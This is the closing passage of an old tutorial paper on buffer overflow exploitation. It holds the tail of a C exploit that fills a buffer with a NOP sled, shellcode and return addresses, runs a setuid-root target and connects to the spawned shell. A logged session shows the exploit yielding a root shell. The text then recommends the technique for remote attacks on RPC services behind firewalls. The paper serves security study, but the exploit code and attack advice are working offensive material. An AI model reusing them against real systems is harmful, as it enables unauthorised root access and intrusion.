  1340.     int i;
  1341.     int sockfd;
  1342.  
  1343.     if(argc>1)
  1344.         offset=atoi(argv[1]);
  1345.  
  1346.     sp=get_sp();
  1347.     addr=sp-offset;
  1348.  
  1349.     for(i=0;i<bsize;i+=4)
  1350.     {
  1351.         buff[i+ALIGN]=(addr&0x000000ff);
  1352.         buff[i+ALIGN+1]=(addr&0x0000ff00)>>8;
  1353.         buff[i+ALIGN+2]=(addr&0x00ff0000)>>16;
  1354.         buff[i+ALIGN+3]=(addr&0xff000000)>>24;
  1355.     }
  1356.  
  1357.     for(i=0;i<bsize-RANGE*2-strlen(shellcode)-1;i++)
  1358.         buff[i]=NOP;
  1359.  
  1360.     ptr=buff+bsize-RANGE*2-strlen(shellcode)-1;
  1361.     for(i=0;i<strlen(shellcode);i++)
  1362.         *(ptr++)=shellcode[i];
  1363.  
  1364.     buff[bsize-1]='\0';
  1365.  
  1366.     printf("Jump to 0x%08x\n",addr);
  1367.  
  1368.     if(fork()==0)
  1369.     {
  1370.         execl("./vulnerable4","vulnerable4",buff,0);
  1371.         exit(0);
  1372.     }
  1373.     sleep(5);
  1374.     sockfd=connect_sh(getip("127.0.0.1"));
  1375.     exec_sh(sockfd);
  1376. }
  1377. ----------------------------------------------------------------------------
  1378.  
  1379. exploit the vulnerable4 program
  1380. ----------------------------------------------------------------------------
  1381. [ ohhara@ohhara ~ ] {1} $ ls -l vulnerable4
  1382. -rwsr-xr-x   1 root     root         4091 Oct 18 20:21 vulnerable4*
  1383. [ ohhara@ohhara ~ ] {2} $ ls -l exploit4
  1384. -rwxr-xr-x   1 ohhara   cse          7973 Oct 18 20:25 exploit4*
  1385. [ ohhara@ohhara ~ ] {3} $ ./exploit4
  1386. Jump to 0xbfffec64
  1387. Connect to the shell
  1388. Can't connect to the shell
  1389. [ ohhara@ohhara ~ ] {4} $ ./exploit4 500
  1390. Jump to 0xbfffea70
  1391. Connect to the shell
  1392. whoami
  1393. root
  1394. ----------------------------------------------------------------------------
  1395.  
  1396. 6.5 What can you do with this technique?
  1397.  You can make various remote exploit code with this technique. If the
  1398. vulnerable host is behind the firewall, you can open a socket in unfiltered
  1399. port. This is a very useful technique when you attack rpc service with buffer
  1400. overflow.
  1401.  
  1402. 7. Summary
  1403.  This paper introduced four buffer overflow techniques. They are pass through
  1404. filtering, change uid back to 0, break chroot, and open socket. These
  1405. techniques will be very useful when you try to make a buffer overflow exploit
  1406. code. In addition, these techniques can be combined.
  1407.  All programers MUST be careful when making a setuid root program or server
  1408. program!!! PLEASE BE CAREFUL!!!!!
  1409.  
  1410. 8. References
  1411.  Smashing The Stack For Fun And Profit by Aleph1
  1412.  wu-ftpd remote exploit code by duke
  1413.  ADMmountd remote exploit code by ADM
  1414.  
  1415. 9. Etc
  1416.  Sorry for my poor English. :(
  1417.  
  1418.  Written by Taeho Oh ( ohhara@postech.edu )
  1419. ----------------------------------------------------------------------------
  1420. Taeho Oh ( ohhara@postech.edu )                   http://postech.edu/~ohhara
  1421. PLUS ( Postech Laboratory for Unix Security )        http://postech.edu/plus
  1422. PosLUG ( Postech Linux User Group )          http://postech.edu/group/poslug
  1423. ----------------------------------------------------------------------------
  1424.  
  1425.  
  1426.                  ------------------------------------------
  1427.                  Special thanks to all of PLUS members. ^_^
  1428.                  ------------------------------------------
  1429.  
  1430.  
  1431.  
  1432. -------------------------------------------------------------------------------
  1433. -------------------------------------------------------------------------------
  1434. -------------------------------------------------------------------------------
  1435.  
  1436.  
  1437.  
  1438. -- 
  1439.  
  1440. Taeho Oh ( ohhara@postech.edu )                   http://postech.edu/~ohhara
  1441. PLUS ( Postech Laboratory for Unix Security )        http://postech.edu/plus
  1442. PosLUG ( Postech Linux User Group )          http://postech.edu/group/poslug
  1443.  
  1444.